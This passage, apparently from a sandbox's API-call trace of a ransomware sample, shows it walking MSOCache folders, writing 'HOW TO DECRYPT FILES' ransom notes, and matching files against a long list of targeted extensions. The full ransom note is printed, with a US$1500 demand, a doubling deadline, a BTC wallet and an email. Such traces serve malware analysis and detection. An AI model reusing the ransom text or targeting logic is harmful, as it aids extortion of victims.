wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.652] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OutlookMUI.msi") returned -1 [0057.652] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OutlookMUI.msi") returned -1 [0057.652] lstrcmpiA (lpString1="", lpString2="OutlookMUI.msi") returned -1 [0057.652] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned="OutlkLR.cab" [0057.652] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" [0057.652] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\") returned="" [0057.652] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.652] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.653] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpString2="OutlookMUI.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" [0057.653] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x780074, dwReserved1=0x74, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0057.653] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.653] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OutlookMUI.xml") returned -1 [0057.653] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OutlookMUI.xml") returned -1 [0057.653] lstrcmpiA (lpString1="", lpString2="OutlookMUI.xml") returned -1 [0057.653] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned="OutlookMUI.msi" [0057.653] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" [0057.653] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\") returned="" [0057.653] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.653] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.653] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpString2="OutlookMUI.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" [0057.653] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.653] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.653] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Setup.xml") returned -1 [0057.653] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Setup.xml") returned -1 [0057.654] lstrcmpiA (lpString1="", lpString2="Setup.xml") returned -1 [0057.654] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned="OutlookMUI.xml" [0057.654] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" [0057.654] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\") returned="" [0057.654] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.654] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.654] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" [0057.654] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.654] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.654] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0057.654] lstrcmpA (lpString1=".", lpString2="{90140000-001B-0409-1000-0000000FF1CE}-C") returned -1 [0057.654] lstrcmpA (lpString1="..", lpString2="{90140000-001B-0409-1000-0000000FF1CE}-C") returned -1 [0057.654] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.654] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{90140000-001B-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" [0057.655] lstrlenA (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C") returned 62 [0057.655] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.656] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.656] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.656] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.656] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.656] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.656] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.656] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Setup.xml") returned -1 [0057.656] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Setup.xml") returned -1 [0057.656] lstrcmpiA (lpString1="", lpString2="Setup.xml") returned -1 [0057.656] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.656] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" [0057.656] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\") returned="" [0057.657] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.657] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.657] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.659] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.659] WriteFile (in: hFile=0x88, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.661] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.661] CloseHandle (hObject=0x88) returned 1 [0057.661] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" [0057.661] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.ems") returned 0 [0057.661] lstrlenA (lpString="*.ems") returned 5 [0057.661] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.db") returned 0 [0057.661] lstrlenA (lpString="*.db") returned 4 [0057.661] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.dbf") returned 0 [0057.661] lstrlenA (lpString="*.dbf") returned 5 [0057.661] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.myox") returned 0 [0057.661] lstrlenA (lpString="*.myox") returned 6 [0057.661] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.myo") returned 0 [0057.661] lstrlenA (lpString="*.myo") returned 5 [0057.661] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.qbw") returned 0 [0057.661] lstrlenA (lpString="*.qbw") returned 5 [0057.661] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.qbb") returned 0 [0057.661] lstrlenA (lpString="*.qbb") returned 5 [0057.662] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.qbm") returned 0 [0057.662] lstrlenA (lpString="*.qbm") returned 5 [0057.662] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.qbo") returned 0 [0057.662] lstrlenA (lpString="*.qbo") returned 5 [0057.662] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.qbx") returned 0 [0057.662] lstrlenA (lpString="*.qbx") returned 5 [0057.662] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.qba") returned 0 [0057.662] lstrlenA (lpString="*.qba") returned 5 [0057.662] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.qby") returned 0 [0057.662] lstrlenA (lpString="*.qby") returned 5 [0057.662] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.qbj") returned 0 [0057.662] lstrlenA (lpString="*.qbj") returned 5 [0057.662] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.ofx") returned 0 [0057.662] lstrlenA (lpString="*.ofx") returned 5 [0057.662] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.qif") returned 0 [0057.662] lstrlenA (lpString="*.qif") returned 5 [0057.662] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.mye") returned 0 [0057.662] lstrlenA (lpString="*.mye") returned 5 [0057.662] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.mbox") returned 0 [0057.662] lstrlenA (lpString="*.mbox") returned 6 [0057.662] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.eml") returned 0 [0057.662] lstrlenA (lpString="*.eml") returned 5 [0057.662] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.pst") returned 0 [0057.662] lstrlenA (lpString="*.pst") returned 5 [0057.662] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.ost") returned 0 [0057.662] lstrlenA (lpString="*.ost") returned 5 [0057.662] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.idx") returned 0 [0057.662] lstrlenA (lpString="*.idx") returned 5 [0057.663] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.dbx") returned 0 [0057.663] lstrlenA (lpString="*.dbx") returned 5 [0057.663] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.sql") returned 0 [0057.663] lstrlenA (lpString="*.sql") returned 5 [0057.663] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.mdb") returned 0 [0057.663] lstrlenA (lpString="*.mdb") returned 5 [0057.663] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.fdb") returned 0 [0057.663] lstrlenA (lpString="*.fdb") returned 5 [0057.663] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.wab") returned 0 [0057.663] lstrlenA (lpString="*.wab") returned 5 [0057.663] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.dat") returned 0 [0057.663] lstrlenA (lpString="*.dat") returned 5 [0057.663] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.txt") returned 0 [0057.663] lstrlenA (lpString="*.txt") returned 5 [0057.663] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.jpeg") returned 0 [0057.663] lstrlenA (lpString="*.jpeg") returned 6 [0057.663] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.jpg") returned 0 [0057.663] lstrlenA (lpString="*.jpg") returned 5 [0057.663] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.png") returned 0 [0057.663] lstrlenA (lpString="*.png") returned 5 [0057.663] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.php") returned 0 [0057.663] lstrlenA (lpString="*.php") returned 5 [0057.663] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.cs") returned 0 [0057.663] lstrlenA (lpString="*.cs") returned 4 [0057.663] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.cpp") returned 0 [0057.663] lstrlenA (lpString="*.cpp") returned 5 [0057.663] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.rar") returned 0 [0057.664] lstrlenA (lpString="*.rar") returned 5 [0057.664] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.zip") returned 0 [0057.664] lstrlenA (lpString="*.zip") returned 5 [0057.664] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.html") returned 0 [0057.664] lstrlenA (lpString="*.html") returned 6 [0057.664] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.htm") returned 0 [0057.664] lstrlenA (lpString="*.htm") returned 5 [0057.664] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.xlsx") returned 0 [0057.664] lstrlenA (lpString="*.xlsx") returned 6 [0057.664] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.xls") returned 0 [0057.664] lstrlenA (lpString="*.xls") returned 5 [0057.664] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.mp4") returned 0 [0057.664] lstrlenA (lpString="*.mp4") returned 5 [0057.664] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.ppt") returned 0 [0057.664] lstrlenA (lpString="*.ppt") returned 5 [0057.664] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.pptx") returned 0 [0057.664] lstrlenA (lpString="*.pptx") returned 6 [0057.664] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.doc") returned 0 [0057.664] lstrlenA (lpString="*.doc") returned 5 [0057.664] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.dot") returned 0 [0057.664] lstrlenA (lpString="*.dot") returned 5 [0057.664] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.docx") returned 0 [0057.664] lstrlenA (lpString="*.docx") returned 6 [0057.664] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.7z") returned 0 [0057.665] lstrlenA (lpString="*.7z") returned 4 [0057.665] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.tar") returned 0 [0057.665] lstrlenA (lpString="*.tar") returned 5 [0057.665] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.bz2") returned 0 [0057.665] lstrlenA (lpString="*.bz2") returned 5 [0057.665] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.gz") returned 0 [0057.665] lstrlenA (lpString="*.gz") returned 4 [0057.665] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.mkv") returned 0 [0057.665] lstrlenA (lpString="*.mkv") returned 5 [0057.665] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.eml") returned 0 [0057.665] lstrlenA (lpString="*.eml") returned 5 [0057.665] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.msg") returned 0 [0057.665] lstrlenA (lpString="*.msg") returned 5 [0057.665] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.edb") returned 0 [0057.665] lstrlenA (lpString="*.edb") returned 5 [0057.665] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.accdb") returned 0 [0057.665] lstrlenA (lpString="*.accdb") returned 7 [0057.665] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.odb") returned 0 [0057.665] lstrlenA (lpString="*.odb") returned 5 [0057.665] PathMatchSpecA (pszFile="C:\\MSOCache\\All 